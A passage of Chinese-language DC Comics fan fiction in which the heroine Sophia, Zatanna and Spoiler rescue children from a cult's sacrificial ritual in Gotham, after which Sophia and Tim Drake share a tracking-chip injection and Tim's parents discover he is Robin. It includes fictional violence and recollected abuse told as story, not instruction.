“你刚刚有感受到什么吗？”扎塔娜突然提出了问题，索菲亚有些茫然摇了摇头，这才后知后觉的意识到对方在自己身后根本看不到自己的动作。 “没。”索菲亚略有几分被老师突然提问的迷茫，在短暂的沉默后继续说道“我该感受点什么吗？” “蝙蝠侠向我说了你的事，倒不如说对我来讲一个突然能够使用魔法且身上自带科技手段无法检测出来的系统的人足够有吸引力，但是现在看来情况和我想的不一样。” “怎么不一样？”搅局者顺滑的插进了对话。 “从我见到你起就没有感受到任何魔力的出现，但是在刚刚我使用魔法的时候你也没任何反应，正常来讲大多数法师对于魔力都很敏锐，但是在你身上我感受不到魔力的痕迹。” “很严重吗？总不能我也会变成默默然把哥谭炸了吧，扣1蝙蝠侠原谅我。” 扎塔娜发出一阵轻笑，仅仅从银铃一样清脆的笑声里索菲亚就断定自己没出什么大问题。 “放心吧猎人小姐，大多数法师没有哈利波特里面那么大的杀伤力。” 随着几人的行进，扎塔娜的嘴里突然发出一段奇怪的咒语便走到了索菲亚前方，随后荧光分散出去了一部分，通过密度不同组合出类似电影一样的光影效果，而展现在三人面前的正是发生在几个小时前的画面，索菲亚下意识朝扎塔娜的方向看了一眼，很快就收回了视线。 十来个双手被麻绳捆绑的结结实实的孩子像是被牵着鼻子的牛羊一样，顺从的走在漆黑的能见度极差的通道之中，大多数孩子都算不上毫发无伤，膝盖额头都是伤口分布的重灾区，都是些因为粗暴动作留下的皮外伤，车上的血迹大概率来源于此。 索菲亚似乎听到了孩子压在嗓子眼里的抽泣声和男人的叫骂的声音，那声音一会很近似乎就在耳边，一会又变的极其遥远，似乎一直延伸到通道的尽头却始终抓不到踪迹。 索菲亚摇了摇有些发昏的脑袋，才终于把声音甩了出去，这时她才发现这些孩子的共同点。 这些孩子的年龄不相上下，但从身形来看不管是身高还是胖瘦程度基本大差不差，除此以外这些孩子也并非完全是亚裔长相，其中混杂着几个有着典型的白人以及黑人特征的小孩。 索菲亚愣了一下，仔细回忆后发现那个被救出来的女孩似乎也有些混血的特征，只是不够明显而被忽略掉了。 那么这些家伙从这么远的地方收集这么多混血的孩子到底想做什么？ 第78章 需要特定属性的大批量儿童, 首先排除用来食用这一用途，就算是汉尼拔准备食材也不至于一口气囤够半年的量，总不能是为了办食人族大party提前半年进行准备吧。 提取肾上腺素红倒是有些可能, 但是从成本来考虑直接拐卖哥谭本地以及附近城市的儿童几乎等同于零元购，为什么一定要舍近求远给自己添麻烦，总不能因为亚洲孩子更容易遭受原生家庭伤害提取出来的质量就一定比白人小孩好吧。 索菲亚掰着指头想了半天, 只能想到最后一个答案——活人献祭。 比起其他的怪物袭击事件, 涉及活人献祭的邪教事件处理起来要麻烦得多，比如这些邪教头子往往并非是喜欢把人当椰子插管嘬的吸血鬼，亦或者是喜欢开膛破肚享受内脏自助餐的食尸鬼，以及喜欢新鲜血肉口感的狼人, 这帮随便找了个怪东西就开始疯狂信仰的头目大多数时候都是些再普通不过的人类。 但是当这些教宗一样的领袖人物意识到可以通过等价交换来换取权力金钱后, 人类社会用来束缚社会成员的道德和法律将变成一张废纸, 这时精神控制，洗脑这些手段只不过是开始，后续便是不断被刷新底线的切除人类肢体, 故意致残, 以及最后的用残忍手段虐*杀祭品从而实现利益最大化的手段。 当然这并非是人类特有的手法, 就像是审判庭里那些至少活了几百岁的似人非人的怪物也喜欢搞这些东西，只是在开始前往往喜欢让同类齐聚一堂共同物理意义上享用人类美好的□□再进行那些茹毛饮血的原始宗教会喜欢的血腥献祭仪式。 其中不乏将献祭仪式拍下来当作cult片发布的鬼才, 因为过于真实的演员演出和血浆飞溅的效果在暗网大为流传。 不理解, 但大为震撼。 索菲亚还在看着那些电影一样的画面, 但还是不理解明明一样的荧光魔法是怎么变成幻灯片的效果的。 “所以这个是怎么做到的？”索菲亚侧过身看着魔术师说话。 “很简单。”扎塔娜眨了眨眼, 但周身的气质突然发生了变化，饱满的嘴唇微启念出一段奇异的话语“Ytier yalper”（重现现实）。 随着咒语被说出, 原本虚幻的投影变得更加愈发清晰, 即使是索菲亚也差点以为画面里的角色出现到了现实之中。 “反语魔法, 一点点避免魔法带来的反噬的小技巧，毕竟大多数法师正常使用魔法的消耗大得惊人，总得找点规避的办法。” 那只带着表演用白手套的手在空中转了半圈，凭空在手心出现两颗带着糖纸的棒棒糖，一前一后的递给了两位年纪不大的义警。 “一会尝试直接使用魔法，我需要看到你通过系统使用魔法和直接使用魔法的区别。” 索菲亚接过糖拨开糖纸塞进嘴里点了点头。 通道算不上长很快就走到了尽头，再次暴力破开门锁，就能听到一阵喃喃的低语声。 “Spiriti santi， venite! Luce， protezione， al mio fianco.（一段没有意义的召唤咒语）” 索菲亚侧耳听了几秒发现没有听懂，但只凭借猜测就能感受出不是些人话后，便默默的开始在系统里找最适合用来解决问题的雷电魔法，并默默的调到了中级的水平确保参加聚会的邪教徒都能一下失去行动能力，但又不至于直接被劈到见到上帝。 所以哥谭哪里来的意大利邪教徒，他们是在聚众诅咒将意大利面掰断之后再煮以及用往番茄肉酱里加番茄酱的异端吗？还是打算烧死往披萨上放菠萝的该死美国人？那建议不要迫害这些无辜的小孩了，先把布鲁斯韦恩抓起来，上周星球日报采访这位放荡不羁的哥谭王子当着记者的面吃菠萝披萨，罪大恶极。 声音已经无限接近，眼前只剩下最后一扇一看就有一定年代气息的木制大门，索菲亚上手试着推了一下就发现这道最后的防线并没有上锁，随着木门难听的“吱呀”声的开启，门后的景象慢慢的显露了出来。 一群鬣狗一样的渴求着血肉的“食尸鬼”围着一个巨大的法阵，那是标准的六芒星图案，伴随着血液的流动被逐渐点亮发出让人不安到战栗的暗红色光芒，而血液的源头正是那些稚嫩的毫无生气的倒在阵法周围的孩子。 索菲亚听到搅局者倒吸了一口凉气的声音，说实话这些场面算不上限制级，但许久未见过如此大规模血腥程度的猎魔人也能感受到从胃部泛起的反胃感。 “雷电魔法，中级。” 系统没有回话，取而代之的是熟悉的闪电的巨响，随着时间的推移声音越来越大，索菲亚却只感到一阵空洞。 原本拿在手里用于战斗的武器没了用武之地，因为此刻所有的邪教徒都身披黑色斗篷，虔诚的围绕着六芒星而跪拜叩首，因为不祥之物散发出的黑暗气息落泪，而几个胸口还在轻微起伏的孩子正呆呆地看着推开大门的三人。 “我的天。”扎塔娜惊叹一声，正要上前查看孩子的状况，就被空气突然点了一下收回了手。 察觉到异样的扎塔娜猛地回头抓住了猎魔人的肩膀摇晃起来，想要唤醒明显状态不对的少女，可下一刻雷电穿过了地面径直劈在了带着血污即将被填满的六芒星上，刹那间血液瞬间被蒸发，随之而来的便是浑身过电原地抽搐的邪教徒。 而那些孩子仍旧安静的躺在地面上，没有受到一丝多余的伤害。 “B需要支援，我们找到那些孩子了。” 确认没有多余的被电击的风险后，搅局者急忙上前在频道中报备情况。 “记得叫GCPD和救护车，这些邪教徒的情况遭受了严重电击，大多情况不太好。” 话虽这么说，搅局者还是能够听到耳边不断传来的雷电声，而魔法的发起人正一脸平静的走上前一起检查那些孩子的情况，并从腰带里掏出止血药用绷带给受伤的孩子进行包扎。 那些孩子依旧是呆呆愣愣的样子，麻木的接受着义警的救治，直到一个女孩仿佛从梦中惊醒一般放声大哭起来，随后才有更多的孩子回忆起孩童的身份，嚎啕着宣泄压抑在内心的恐惧与痛苦。 扎塔娜吹着口哨吸引了那些带着泪珠的视线，取下那个存在感过高的帽子，神秘的念着孩子们听不懂但格外活泼的咒语。 “Ylkciuq emoc ydnac！（糖果快来）” 随后在孩子好奇的眼神里，那顶高高的帽子里像是水龙头一样涌出精致的带着闪亮糖纸的糖果，不一会儿就堆成了小山的形状露出一个尖尖。魔术师将那顶神奇的满是甜蜜的帽子递到每个孩子面前，看着那些孩子忘记了□□与心灵被双重折磨的痛苦，用纤细的小手抓走一把又一把的糖果，眼神里满是鼓励和怜爱。 于是，哭声消失了，疼痛消失了，能够治愈一切不幸的糖果胜过一切的灵丹妙药藏在每个在场的孩子的嘴巴里，用能够滋润一切的甜蜜冲淡了恶魔所带来的苦痛。 索菲亚看着魔术师施法时温柔的样子，恍惚间似乎看到了那个将自己抱在怀里的身影，伊芙琳是不是曾经也用过类似的咒语。那位总是保持理性外衣的法师是否也会安慰那些伤心的孩子，就像是无数次把因为迷茫躲在角落里的小猫头鹰抱出来一样。 那双泉水一样的蓝眼睛无限和分发糖果的扎塔娜的双眼重合，索菲亚眨了眨眼睛缓解过度用眼带来的疲惫，但怎么都没办法在脑海里拼凑出监护人的长相。 直到GCPD前来带走了那些参与仪式的邪教徒，直到救护车发出怪叫带走那些遍体鳞伤的孩子，索菲亚终于和扎塔娜对上了视线。 “你的系统确实是魔法产物。” 扎塔娜说完这句话后看了看索菲亚的表情继续说道。 “它依靠很强大的魔力供能作用在你的灵魂身上，这也是科技手段无法找到的原因，虽然我不太明白系统运作的逻辑是什么，但是当你依靠系统使用魔法时我能感受到像是潮水一样磅礴的魔力聚集在你的身边。” “但你没有使用系统时，我几乎感受不到魔力的存在。” “我的结论是你确实不具备使用魔法的天赋，而这个系统成为了那个链接你和魔法的中介，让你能够使用魔法。” “我不知道是什么样的法师会选择这样的方式，但我想你一定对他或者她很重要，所以她才会选择这样复杂且花费巨大的方式来帮助你。” “但具体更加细节的地方，我想我暂时还没办法做出解释，但至少从今天的表现来看，我想系统的制作人对你没有恶意。” 说完了结论的扎塔娜露出了笑容，从自己的帽子里抓出一把糖果塞进索菲亚手里。 “我想她一定很喜欢你。” 在那双蓝色的能够包容一切生灵的眼神面前，索菲亚有些迟疑，但还是接过了糖塞进了腰带里小心翼翼地问道。 “那你认识她吗？” 魔术师摇了摇头给出了否定的答案，但脸上的笑容依旧温柔。 “我从没见过这样的魔力，也没见过这样的法师，或许她在另一个世界也说不定。” 被突然说破了身份的索菲亚没有一丝惶恐，而是殷切的看着扎塔娜，抓住了对方戴着手套的手。 “那我还能回到那个世界吗？我还能见到她吗？” 魔术师没有回答。 第79章 索菲亚没有从魔术师那里得到回答, 无论是肯定还是否定，但从对方无奈的眼神里，或许已经猜到了答案。 系统的身份似乎没那么难猜, 和自己关系亲密的女性法师，除去监护人伊芙琳自己想不出其他的人选。 可是到底发生了什么需要伊芙琳花费如此多的精力和魔力来创造一个系统来到索菲亚身边，而不是亲自来将迷途的小孩接回家？ 他们遇到了什么困难被绊住了手脚吗？ 还是说他们没办法来呢？ 索菲亚可以用没有过去在猫头鹰法庭被当作利爪的记忆来否定那段不幸的存在, 在来到哥谭的几个月里那些与不同人战斗的经历就像是一场短暂的随时可以结束的游学旅行, 和过去那些和不同的猎魔人一同工作的经历大差不差。 一直以来将穿越当成了短期旅行的索菲亚第一次察觉到内心出现的不安感，没有人会恐惧前往新的目的地，甚至索菲亚很早就做好了某天会离开同伴的打算，但这并不意味着储藏着过去的那些经历的旧地就要彻底消失在世界上, 连带着那些熟悉的人事物全部都化成泡沫。 索菲亚几乎失去了对于外界的感知, 只是恍惚之后突然听到了少年关切的声音。 “你在哪里索菲亚？” “……没什么。” 索菲亚自己都觉得这话说的苍白, 努力在记忆里找到了目送扎塔娜和斯蒂芬妮回蝙蝠洞自己则谎称有事需要解决的画面，在失去理智的情况下莫名其妙的跑到了一栋不认识的楼上体验被夜风扇在脸上“啪啪”作响的刺激。 没关系的索菲亚，已经很棒了, 至少没有一句话不说就逃掉。 逃跑的时候还记得编个理由也太棒了吧。 棒个锤子。 现在整个蝙蝠洞估计都知道猎魔人当场破防原地跑路的故事了。 坐在天台的边缘, 索菲亚接受了脑子里复杂的潮水一样的情绪的猛烈攻击, 完全没有条理的画面在眼前跳来跳去，先是跟在猫头鹰屁股后面cos小哑巴, 再是跟在爱德华背后看他斩杀食尸鬼, 有时零星闪过几个妈妈因为忍受不了疼痛在地板上爬来爬去在地板上留下好几道难清理的血印, 以及那个人沾着血的挂着再客气不过笑容的脸。 没有任何预兆的那些画面成了尸体的脸, 被用鱼线勒到窒息发青发紫的脸，被划破大动脉只能用手捂住脖子眼睁睁看着血液流失走向死亡的尸体, 在麻袋里挣扎求生却无济于事只能被海水淹没的身影, 为了保护孩子拖着重伤的身体查看孩子情况却在看到孩子尸体后无法闭上的双眼…… 那些习以为常的血与泪构成的人为制造的不幸重新在眼前铺开, 被大猫头鹰蒙住了双眼堵住了耳朵的索菲亚终于意识到死亡是多沉重的话题。 并非是别人话语里一句轻飘飘的死了，而是切实的与所有人失去联系孤单的离开这个世界，尚存在世间的人同样承受了巨大的折磨。而妈妈的死亡，就是索菲亚关于这一课题的第一课。 即使索菲亚再如何否认对于妈妈的感情，但无数次在闭上双眼后看到的都是女人涣散的双眼。 当时她害怕吗？即使之前那个人无数次殴打她，打的她浑身是血后却连清洗的心情都没有，只是让女人赤着身子的躺在地上，露出全身上下青青紫紫的反复留下的伤痕。她会想要逃走吗？那为什么在男人忘记上锁房门的那天没有选择离开，为什么要把自己重新关进地狱里。 那一刻她是在恐惧即将迎来的死亡还是为了能够逃离恶魔而感到欣喜呢？ 少女对着街景眨了眨眼，又回忆起那个漆黑的身影。 索菲亚还记得就在几个月前，蝙蝠侠永远失去了罗宾，对于猎魔人来讲这不是什么重要的事，毕竟自己对于罗宾的印象全部都和提姆有关。 但是，真正接触了蝙蝠侠身份下那个叫做布鲁斯的男人，索菲亚才能意识到这场死亡带来了怎样的影响。 提姆嘴里蝙蝠侠强大理智的同时，又是一个对弱者充满同情心，甚至于有些幽默的人，但这些话题对于索菲亚来讲却无比遥远。 索菲亚从没见过那个叫杰森的大不了两人几岁的那个罗宾，不知道他的性格，他的过往，他和蝙蝠侠发生的种种有趣的冒险故事，即便如此一个青春期义警的死去对于经历过这件事的所有人也足够沉重。 即使布鲁斯现在似乎从阴影中走了出来，但那种失去至亲的阴霾至今仍停留在男人身后，只是黑暗骑士熟练的将愤怒与暴力藏了起来，将向过去一样，重新穿上制服戴上面具在哥谭的夜空里拯救每一个求救的灵魂。 索菲亚想过，如果死去的罗宾是提姆呢？ 这个问题最开始无关紧要，但随着时间的推移，那个会恶作剧，喜欢滑板，耳机里总是放着索菲亚每太多兴趣的摇滚乐占据了索菲亚无趣生活中的大多数，她能回忆起提姆的每一个黏糊糊的情话，能够回忆起接吻时心跳加速的感受，也记着两人一次次飞跃高空打击犯罪时的喜悦。 于是这个问题成了禁忌，甚至于幻想提姆的死亡本身就已经足够残忍。 可是，如果，真的有一天，少年也和杰森一样在索菲亚看不到的地方死去，该怎么办呢？ 到时候她到处都找不到爱人的身影，直到冰冷的尸体出现在眼前，那张因为死亡而沉寂的脸将刻印在索菲亚的记忆之中，从今往后只要回忆起那个鲜活的少年，索菲亚都只能想起那场不该发生的令人心碎欲绝的死亡。 “索菲亚。” 少年呼唤的声音不大，即便如此索菲亚还是猛转过头确认了眼前人的存在，随即飞扑到少年身上，将那具清瘦但充满力量的身体，用额头抵着对方的额头，感受展现出生命力的温热的体温。 “……你找到我了。” “嗯，我找到你了。”少年似乎疑惑了两秒，便伸手拖住了索菲亚的屁股“我是不是没有说过，大家的耳机里都有定位，你如果不喜欢……” “我很喜欢。”索菲亚看着那双价值连城的蓝宝石一样的双眼，压低了声音小声说道“它让你找到我了，我不讨厌。” “我想你一定发生了些什么，但语言上的安慰太空洞了，我想我至少在这个时候要在你身边。” “要是耳机丢了怎么办你会不会找不到我？” 索菲亚的头发蹭的无比凌乱，不过少女管不上这些只是牢牢地将少年锁在身边，盯着对方的眼睛眨眼睛。 “皮下注射定位？我考虑过，但似乎有些太过了，显得我像是个不尊重别人隐私的跟踪狂。”提姆也跟着眨了眨眼随即示意索菲亚放手暂时分开“我带了塔克来，我们可以边吃边说。” 索菲亚依依不舍地放开了手，重新回到了地面上，眼神却死死的放在提姆身上，即使是刚出炉的温热的散发出酱料味道的食物也没能把注意力移开分毫。 “我也要，你想放在哪里都好，我想要你随时知道我在哪。”索菲亚黏在少年身后像是被人类吸引的跟在身后绕圈的小狗“你肯定提前想好要做了，我看到你电脑里密密麻麻的监控和监听画面了，你还要开脱自己潜在罪犯的身份吗提米？” “其实，也不算没有吧。”提姆轻咬下唇，眼神里罕见的出现了躲闪“只是阿福建议我不要把恋爱对象当罪犯看。” “你就是这么想的，你恨不得给全哥谭人都带上监听和定位，直到所有人在哪里说了什么干了什么，B都没有你过分，以后你要是黑化了一定是那种把所有人都掌控在手里监管他们的一举一动，还说着要创建更美好的世界的那种难搞反派。” 索菲亚从纸袋里摸出一个塔克扒开包装咬了下去。 “我确实这么想过就是了，不过不太现实，正义联盟最多三天就能把我带走。” 提姆还没摘下面具，侧着头注视着索菲亚带着孩子气的侧脸，自己都没意识到此刻脸上露出的笑或多或少带着些傻气。 “我可不想被蝙蝠侠打到满地乱爬，你也知道B一拳头下去得有多疼吧，我还打算等B稳定下来以后就把B踹掉回去好好上学呢。” “那你就是第一个开除蝙蝠侠的罗宾了？” “不觉得很酷吗？”提姆伸出胳膊将索菲亚揽在怀里贴在一起“所以我能问发生了什么吗？” “我突然想到了你的死亡。” “那确实是很沉重的话题了。”少年故作深沉的点头“不过对我来讲有点为时过早了吧，我的计划里我得八十岁再死，最好是急性病猝死那种，总比被病痛折磨多年缠绵病榻再死也好得多。” “不许说。”索菲亚伸手捂住了少年的嘴“我不敢想象，有一天你会死，就和许多死去的人一样突然消失在这个世界上。” “那我一定死得其所，我希望是为了对抗罪恶作为英雄死去，这样听起来比较勇敢，或者一直坚持到退休某天在家里去世我也可以接受，猝死的话现在有点为时过早了。” “你还是像现在这样偷偷加班的话，最多三个月就会猝死。” “我的错，我发誓会好好睡觉，只不过哪些工作真的很急。”少年放下了胳膊将索菲亚的手包在手心“所以无论如何我会努力活下来的，我不想因为我的死亡带来更多的泪水和痛苦，为了我爸妈，为了B，为了阿福，迪克。” “无论如何我都会活着来见你，索菲亚。” 第80章 那夜以后, 索菲亚挑了个时间单独去见了提姆。 少年正低着头用棉球给即将要注射的大腿区域消毒，露出头顶的发旋来，蓬松的头发带着被腌入味的咖啡的味道, 索菲亚用力吸了吸鼻子才闻到熟悉的海盐味。 至于为什么是大腿？ 首先当然是隐蔽性高，大腿处的肌肉要比其它部位厚实许多，且面积大, 不太容易仅靠触摸就找到芯片位置。 其次自然是因为, 要是选择在手臂上注射，如果出现被莫名其妙的强大敌人打到失去双臂的情况，在药剂的影响下一般不致死，但如果到了腿都没了的下场的话, 索菲亚就可以通知提姆把换恋爱对象提上日程了。 那种情况不说别的, 即使是看到自己的尸体也足够看到一辈子的心理阴影了, 还是不看比较好。 原本及膝的牛仔短裤被挽至接近大腿根的位置，露出基本不和外界接触的略带隐秘性质的大片雪白的皮肤，青色的血管在皮肤上格外显眼, 少年带着一次性橡胶手套的手正虚放在那块皮肤上, 将少年的体温一起传递了过来。 注射器被缓慢推至尽头的时候, 也意味着只要提姆愿意他可以随时找到索菲亚的位置，即使是这个过程里索菲亚遭遇到无法复活的意外, 少年也可以通过定位找到爱人的尸体。 这个过程有些漫长, 但并不痛苦, 那种切实和人建立起锚点和链接的感觉让索菲亚在陌生的同时感到像是碳酸饮料里迸溅而出的气泡一样轻飘飘仿佛置身于云端的安全感。 但这过程又极其短暂, 短暂到索菲亚还没意识到什么就已经结束了。 提姆将用过的注射器收了起来，摘掉了那双橡胶手套, 但那只原先放在大腿上的手很快放了回来, 绕着圈的轻抚那一块因为注射而显得淤青的皮肤, 像是一片羽毛划过一样，有些痒，但并不讨厌。 “我不会轻易离开你的，就像布鲁斯不会丢下哥谭离开，克拉克不会丢下大都会，阿福不会离开韦恩庄园一样” “那很权威了。” 少年将挽起的裤腿放了下来，遮住了那片接受注射的区域，并用在中超学会的拍西瓜判断熟度的技能拍了拍索菲亚的胳膊。 “你都不担心找不到我吗？” 那张脸自然而然地放在了膝头，有些重量在但能够感受到略微上升的体温带来的燥热，以及少年略微发红的耳尖。 “我相信那个时候B比我急，你失踪恐怕不到六个小时B就已经通过各种手段把你挖出来了。” “那我给你24个小时怎么样？如果我24个小时没有接到你的信息，无论你在做什么我都会去找你。”处于生长期抽条生长的少年原先圆润的下巴变得消瘦了许多，显露出更加具有性别特征的线条感，在索菲亚的大腿上略微压下一处凹痕。 “哦对了，我是不是没有和你说奎泽尔医生的事，我和B追了一路，结果奎泽尔医生彻底坠入爱河了，为了表达对小丑的爱情的无价跳进了化工池证明自己——” 提姆原先的话卡了一下，随即脸上满是痛苦的迷茫。 “我想尊重这份感情，但我不理解。” “化工池有点脏，确实不理解，我的建议是注射吐真剂互相提问，互相掌握了秘密和把柄才能有更近的距离。”索菲亚认真思考片刻给出了建议，还没说完就被捂住了嘴。 “说的很好下次不要建议了。” 索菲亚伸出舌头在对方的掌心舔了一口，没得到什么反应，就打算再舔一下继续犯贱看对方恼羞成怒的样子，就被手指夹住了舌头。 “别闹，乖，我这几天要回家住一段时间，你有事的话记得来我家找我。” “？” “我爸妈回来了如果一直不在家他们会起疑心，我目前还没有毕业的打算。” 说着说着，提姆叹了口气。 “这恐怕就是有父母的烦恼吧。”索菲亚费了不少力气才把舌头收回嘴里，在一边模仿b-box进行口技表演发出怪叫“这是你作为罗宾最大的特色，你有一对完整的父母，赢过了蝙蝠洞百分之90的人。” “少说点吧，我不想以后在地狱的硫磺温泉里看到你。” “那我还能找你玩吗？” “为什么不呢？” —————————————— 所以，这一定是地狱。 索菲亚站在蝙蝠洞里临时cos后勤，就有幸听到了庄园里男男女女的争吵。 “布鲁斯，我那么相信你，你却让一个未成年的孩子充当你的童子军为了冲锋陷阵？” “我不管什么蝙蝠侠罗宾的，提姆他才十五，他还是在学校里念书的年纪，你怎么忍心让他牺牲那么多和危险共舞的，我要昏过去了。” “抱歉珍妮特，我并非有意将你们的孩子拉入危险之中，他是个好孩子，将我从黑暗中拉了出来——” “那你就是这么对待我们，对待这个孩子的吗？！” 争吵的声音格外尖锐，而对话的主人公却没有出现在蝙蝠洞里一起听这些对话，而是坐在了战争的主战场里正襟危坐在待客用的沙发上，捧着盛满了热可可的杯子停止了思考。 “提姆，跟我回家。” “可是我——” “没有可是，提摩西.杰克森.德雷克，从现在开始你被禁足了，除非开学否则你不许踏出家门半步。” “我很抱歉，杰克，珍妮特，但我想你们或许也该听孩子的想——” “他的想法就是为了追求刺激在高空走钢丝吗？这个年纪的青少年什么做不出来，而你布鲁斯，你纵容他做这些危险的事，你是一个懂得一切的成年人，却放任这些孩子做这些。你的孩子也经历这样的事吗？所以你看他在危险中丧命却没有吸取到一点教训，反而来引诱我的孩子？” “听着布鲁斯，我不想闹的太难看，我只有一个要求，不管是蝙蝠侠还是猫头鹰侠或是别的什么，离我的孩子远点，否则我就将你的身份公之于众。” 还想说些什么的布鲁斯在阿福的眼神示意下闭上了嘴，看着暴怒之下的杰克和珍妮特带走了自己的提姆，于是整个庄园里重新变回了死气沉沉的模样。 “……所以之后的夜巡我会进行一些调整。” 索菲亚高高举起了手随后提出问题。 “那我能去提姆家和他偷情吗？” “最好不要，可以选择用正当理由和他出门约会。”布鲁斯的语气格外沉重，根据眼下几乎能连夜开车去哥谭动物园进入熊猫馆无痛cos吉祥物的黑眼圈来判断，那些德雷克夫妻暴怒之下的话语还是刺痛了这位失去孩子的父亲脆弱的心脏。 “没有了罗宾你可以吗？”索菲亚在蝙蝠洞里四处乱窜，一会爬上了那具恐龙化石的顶端，一会又跳了下来摆出一个帅气的超级英雄式的姿势安稳落地。 “蝙蝠侠不是没有罗宾就举步维艰的没用大人，或许我们该高兴提姆的生活终于重新步入正轨，他不用和那些危险的罪犯战斗，不用带着让人看了尖叫的伤口上学，也不需要为了这些不该孩子承担的工作牺牲休息时间，他从这个泥潭解脱了。” 话虽这么说，蝙蝠侠低落的气场没一点变化，那种宛如被没收了所有猫罐头的大胖猫的低落感让像是猴子一样在蝙蝠侠四处晃悠的索菲亚都没办法忽视。 “我，我，我！”金色的斯蒂芬妮跳了出来“我也可以做罗宾，哪个哥谭小孩没做过跟在蝙蝠侠身边做罗宾踹人屁股的梦想，好耶直接梦想成真了。” “你太年轻了——” “那又怎么样，我爸坐牢了，我妈死了，你不用担心会有人因为未成年人保护法来指责你，简直是最棒的选择。”斯蒂芬妮蹭到了蝙蝠侠垂在地面的黑漆漆的披风下，冒出个头来“而且我本来就是义警啊，做搅局者和做罗宾区别不是很大不是吗？” “……” “答应我嘛答应我嘛，只要能够成为罗宾，我什么都可以做。” 斯蒂芬妮几乎晃出残影，但蝙蝠侠依旧稳如泰山没有一点改口的迹象，而是默默移开了视线。 “让斯蒂芬妮去吧，这样就可以续写罗宾到一段时间会自动更新的都市传说了。”索菲亚唯恐天下不乱抱着蝙蝠侠端着咖啡的杯子的手也跟着一起晃“我可以用GPT写一版，再用gemini写一版，这还不够真诚吗？” 求救的视线投向了阿福，而那位看着蝙蝠侠一步步成长起来，对自己的孩子几乎有求必应的管家平静的忽视了来自这个庄园真正姓韦恩的孩子的求救，平静的走上前来收走了蝙蝠侠手里没喝几口的咖啡。 “我想比起罗宾的人选，企图一个人做完所有工作的布鲁斯老爷需要面临最大的问题应该是得到良好的休息，而不是用过量工作来回避内心的不安。” “我想，您可以考虑索菲亚小姐和斯蒂芬妮小姐的建议，适当的将工作分出去一部分给需要历练的年轻人，这个世界上企图拯救世人的英雄很多，但建议您不要把所有的巨石都扛在自己的肩膀上，至少让其他的西西弗斯能够获得一份工作好吗？” 世界上最伟大的侦探、黑暗骑士、哥谭的守护者、蝙蝠侠的中之人、哥谭首富——布鲁斯.托马斯.韦恩先生，于2025年8月16日中午12点打开了房间的房门，在做足心理准备后开启了棉质纤维矩阵来对体表进行防御后，进入了休眠状态。 80-90 第81章 罗宾被迫毕业这件事的好笑程度是百分之六十。 但如果加上被父母发现义警身份掉了马甲这个原因, 好笑程度增加到了百分之百。 整个蝙蝠洞放眼望去，上一个享有这个待遇的还是曾经作为蝙蝠少女活跃的芭芭拉。 “所以戈登局长花了多久松口？” 芭芭拉的脸上还挂着笑，端着刚泡好的咖啡等着斯蒂芬妮展示新学会的拉花技巧。 “其实没松口, 但我当时还是背着他出门，B那段时间看到爸爸就尴尬。但没多久爸爸就妥协了，最多叮嘱我注意安全。” 这种和家里的大哥哥大姐姐聊天结果聊到对方叛逆期的种种经历之后, 顺手撕开了对方成熟大人伪装的感觉让索菲亚努力用牙齿轻咬嘴唇防止自己笑得太大声。 “那迪克呢？布鲁斯是怎么放心让还没小学毕业的他去做罗宾穿着短裤去打击犯罪的？” 索菲亚不喜欢咖啡, 干脆让斯蒂芬妮在杯子里挤满了奶油，用勺子挖着吃。 “怎么说呢？整个哥谭都知道罗宾被开除了四次，以及蝙蝠侠某次错过了电影之夜导致罗宾没看上《音乐之声》。于是在最后那次，愤怒的迪克从大学退学跑到了布港, 没过多久就把自己打扮的像只极乐鸟, 作为夜翼出道了, 并留下了那句传世名言——” “Fuck Batman！” 一想到平日里看起来脾气很好的迪克叛逆期对于老父亲强烈的攻击性，让三个女孩笑成一团，共同在钟楼里发出足够诡异的爽朗笑声。 外面正淅淅沥沥下着小雨, 天然形成的白噪音使得这段短暂的夜巡前的女生谈话显得格外温馨, 而在群聊里只能听大家说话自己却不方便发言的提姆只能平静的回了一个表情包。 猫, 双手捂头，尖叫.jpg 只不过天生自带社畜属性的提姆还是得到了唯一的一个好处, 因为被禁足, 过度劳动长达几个月的少年顺利的将韦恩集团的工作重新交接给企图逃避现实的布鲁斯负责, 于是那位长期找各种荒谬理由的董事长不得不接受管家提供的贵气又带着松弛感的高级穿搭出入自己家的公司被迫营业。 除此之外, 提姆原本被父母寄予厚望的自己家的工作也被终于想起来回家的杰克重新接手。 一来二去，少年手上的工作几乎没了一半, 而夜晚的1vN激情线下维护正义主题的斗殴活动被禁止后, 提姆能帮忙分担的工作只剩下神谕负责的后勤部分。 因而, 提姆被迫过上了每天在德雷克庄园无痛体验特工一样需要通过监听和监控来判断父母动向的生活，以避免蝙蝠侠因为雇佣童工被告上法庭的可以上哥谭年度奇葩案件大赏的情况发生。 于是在三天没见到提姆实在心痒的诱惑下，索菲亚趁着夜深人静闯进了距离蝙蝠洞有一定距离的德雷克庄园。 这还是索菲亚第一次来到提姆从小长大的家，和面积大到惊人每个细节都透露出金钱和富贵的韦恩庄园不同，德雷克家的庄园则满是现代的风格，白色的围墙将一大片常青的草坪囊括其中，看起来就很适合养一群小狗在这里快乐的撒欢。 花园自然也是标配，只是看得出来德雷克家更喜欢百合康乃馨这类柔和的多的花，浅色调的花苞聚在一起看起来格外赏心悦目。 庄园的主要位置自然就是那栋同样清新简约的三层别墅，提姆的房间就在三楼的最南端，在房间外多出一个能够勉强站下两个人的露台，而这也是索菲亚的目标。 凌晨三点，就算是再一丝不苟的工作人员也进入了梦乡，而那些随处可见的监控画面则更不在话下，毕竟谁能比蝙蝠侠的弟子更擅长处理这些电子设备呢？ 无师自通了蝙蝠侠自带的行动时不发出一点动静的技能，索菲亚蹲在露台的扶手上屈起手指用关节轻敲少年房间外的玻璃门以作提醒。 不过几秒，那道玻璃门就被朝内打开，穿着睡衣方便随时躺下应对父母查寝的提姆忍不住打了个哈欠。 “不错欸，你还真的快睡着了，需不需要我来哄睡？我新学会了摇篮曲呢。” “当然可以布兰登小姐，你想怎样展示你的歌喉？需要伴奏吗？” 索菲亚跟在提姆身后进了少年的房间，顺手关上了房门防止夜晚略冷的空气进入房间。 提姆的房间怎么说呢，非常符合索菲亚对于美国青少年的刻板印象，要说脏吧倒没什么灰尘和垃圾，但实在算不上整洁，满地乱扔的衣服几乎将地上铺的厚实的地毯遮挡得严严实实，没走几步索菲亚就从衣服堆里莫名其妙的刨出了吉他，而原本要去找吉他的提姆则从床下掏出了——滑板？ “要是下次寻宝活动放在你家，蝙蝠侠来了都得找半个小时。”索菲亚坏顺手把地上的带兜帽的红色卫衣拎了起来，向提姆询问道“你这是要洗的衣服吗？” 